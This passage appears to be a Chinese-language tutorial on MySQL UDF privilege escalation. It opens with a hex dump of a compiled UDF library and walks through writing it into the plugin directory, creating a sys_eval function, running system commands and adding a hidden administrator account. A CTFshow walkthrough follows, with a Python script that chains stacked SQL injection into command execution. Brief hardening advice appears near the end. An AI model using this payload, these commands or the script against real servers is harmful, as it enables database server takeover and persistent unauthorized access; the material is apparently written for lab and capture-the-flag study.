CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A10741048FFC0881783E9018A10488D7F0175F0F3C3FC415BEB0848FFC6881748FFC78A1601DB750A8B1E4883EEFC11DB8A1672E68D410141FFD311C001DB750A8B1E4883EEFC11DB8A1673EB83E8037217C1E0080FB6D209D048FFC683F0FF0F843A0000004863E88D410141FFD311C941FFD311C9751889C183C00241FFD311C901DB75088B1E4883EEFC11DB73ED4881FD00F3FFFF11C1E83AFFFFFFEB835E4889F7B900120000B2004889FBEB2C8A074883C7013C80720A3C8F7706807FFE0F74062CE83C0177233817751F8B072500FFFFFF0FC829F801D8AB4883E9048A074883C70148FFC975D9EB0548FFC975BE4883EC28488DBE007000008B0709C0744F8B5F04488D8C30B0A100004801F34883C708FF96ECA1000048958A0748FFC708C074D74889F94889FAFFC8F2AE4889E9FF96F4A100004809C074094889034883C308EBD64883C4285D5F5E5B31C0C34883C4284883C704488D5EFC31C08A0748FFC709C074233CEF77114801C3488B03480FC84801F0488903EBE0240FC1E010668B074883C702EBE1488BAEFCA10000488DBE00F0FFFFBB00100000504989E141B8040000004889DA4889F94883EC20FFD5488D871702000080207F8060287F4C8D4C24204D8B014889DA4889F9FFD54883C4285D5F5E5B488D4424806A004839C475F94883EC804C8B442418488B542410488B4C2408E91F79FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005CB0000054010000E404000000000000586000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E0000000000000000000000002CB20000ECB1000000000000000000000000000039B200001CB20000000000000000000000000000000000000000000044B200000000000052B200000000000062B200000000000072B200000000000080B200000000000000000000000000008EB200000000000000000000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000667265650000000000000000A727A15A0000000074B30000010000001200000012000000C0B2000008B3000050B300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000C010000000130000E0120000A011000089B300009FB30000BCB30000D7B30000E3B30000F6B3000007B4000010B4000020B400002EB4000037B4000047B4000055B400005DB400006CB4000079B4000081B4000090B40000000001000200030004000500060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6.5、导出表中数据到系统磁盘
将udf文件内容传入新建的udf文件中，路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的，导出目录为C:\Windows\或C:\Windows\System32\
Text Only select abc from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
就是（6.4）的最后一点（3）
继续，到这儿如果没有报错的话就说明已经在目标主机上成功生成了 udf 文件。下面要导入 udf 函数：
Text Only DROP TABLE udftmp; //为了删除痕迹，把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
使用winhex打开udf文件，在最下方可以看到udf文件提供的函数。
Text Only sys_eval，执行任意系统命令，并将输出返回。
sys_exec，执行任意系统命令，并将退出码返回（无命令执行结果回显）
sys_get，获取一个环境变量。
sys_set，创建或修改一个环境变量
导入成功的话就可以使用了：
Text Only SELECT sys_eval('ipconfig');
返回网卡信息
附几个常用的 cmd 指令，用于添加一个管理员用户：
Text Only net user ka1n4t ka1n4t~!@ /add //添加新用户：ka1n4t，密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组
六、其他问题
1、ERROR 1125 (HY000): Function 'sys_eval' already exists 提示sys_eval 函数已经存在，可能已经被利用过了，尝试直接调用函数。
2、提示sys_eval 函数已经存在，但无法利用 尝试将udf提权相关的利用函数进行删除后重新创建
3、创建sys_eval 函数时提示已经存在，但利用与删除时提示 sys_eval 函数不存在（实战无法解决，漏洞复现可以）。
原因是上一个人利用过后，数据库进行了重启。
之后重启mysql服务器，再创建就可以了。
4、ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 ) 在进行udf提权时碰到这个错误一般是ufd文件位数选择错误，尝试另一个位数的udf文件。
七、修复建议
1、mysql配置文件中secure_file_priv项设置为NULL或非 mysql/lib/plugin目录。
2、数据库用户确保正确实施最小权限原则
八、Linux下的UDF提权
inux环境下的UDF提权大概率仅限于靶场环境中，原因：
在Linux严格的系统权限下，mysql用户或web用户无plugin目录的写入权限。
Linux环境下的udf提权除利用条件外与Windows环境下完全相同。
利用条件：除windows篇中的内容外，还需要plugin目录的写入权限。
九、CTFshow题目
来自：https://blog.csdn.net/qq_35938621/article/details/119716077 手工+脚本
手工：
1、题目代码：
Text Only $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
测试了一下，明显存在堆叠注入，刚好可以利用堆叠注入，来进行udf来进行命令执行，测试，过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等
2、看一下@@plugin_dir的路径来命令执行
Text Only 目录/usr/lib/mariadb/plugin/
对方是linux,当然写 一个脚本跑会快一些，我先手工实操一遍，之后就用脚本梭哈，首先根据我之前的方法生成64位linux的udf.so的十六进制形式
由于这是get传参，是有长度限制的，16081的超过限制，会直接被ban了，所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分
3、导入十六进制数据
接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中
Text Only select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt'
为了确认我们是否已经导入load_file来判断
Text Only select load_file('/usr/lib/mariadb/plugin/a.txt')
明显导入成功，照葫芦画瓢，将剩下的b和c导入进去
当明显确定已经都导入成功了a、b、c三部分udf十六进制内容，接着来就是导入so到这个目录就可以命令执行
Text Only select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'
4、导入函数
最后我们创建sys_eval这个函数来进行命令执行
Text Only create function sys_eval returns string soname 'udf.so'
明显获得了命令执行的权限
我们可以看看ip配置
5、拿flag
接着就拿这题的flag
脚本：
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42 import requests
url = "http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/"
payload = "?id=1';select ' {} ' into dumpfile '/usr/lib/mariadb/plugin/ {} .txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/ {} .txt')--+"
text = [ 'a' , 'b' , 'c' , 'd' ]
udf = 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udf_text = []
for i in range ( 0 , 20000 , 5000 ):
end = i + 5000
udf_text . append ( udf [ i : end ])
p = dict ( zip ( text , udf_text ))
for t in text :
param = payload . format ( p [ t ], t )
get_url = url + param
res = requests . get ( get_url )
print ( "[*]" , end = "" )
code = res . status_code
print ( code , end = "" )
if code == 404 :
print ( "你输入的URL可能出错" )
acq = acquire . format ( t )
data = url + acq
res = requests . get ( url = data )
if "load_file" in res . text :
print ( "-->成功插入 {} .txt" . format ( t ))
print ( "[*]导入udf.so成功" )
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res = requests . get ( url = url + url_sys_dll )
print ( "[*]创建函数sys_eval()成功" )
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res = requests . get ( url = url + url_sys_function )
print ( "[*]命令执行结果: " )
sys_eval = "?id=';select sys_eval('cat /flag.*')--+"
res = requests . get ( url = url + sys_eval )
print ( res . text )
十、十六进制文件
32位
Text Only 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十一、参考
https://www.cnblogs.com/litlife/p/9030673.html
https://mp.weixin.qq.com/s/ERXOLhWo0-lJbMV143I8hA
https://blog.csdn.net/qq_35938621/article/details/119716077
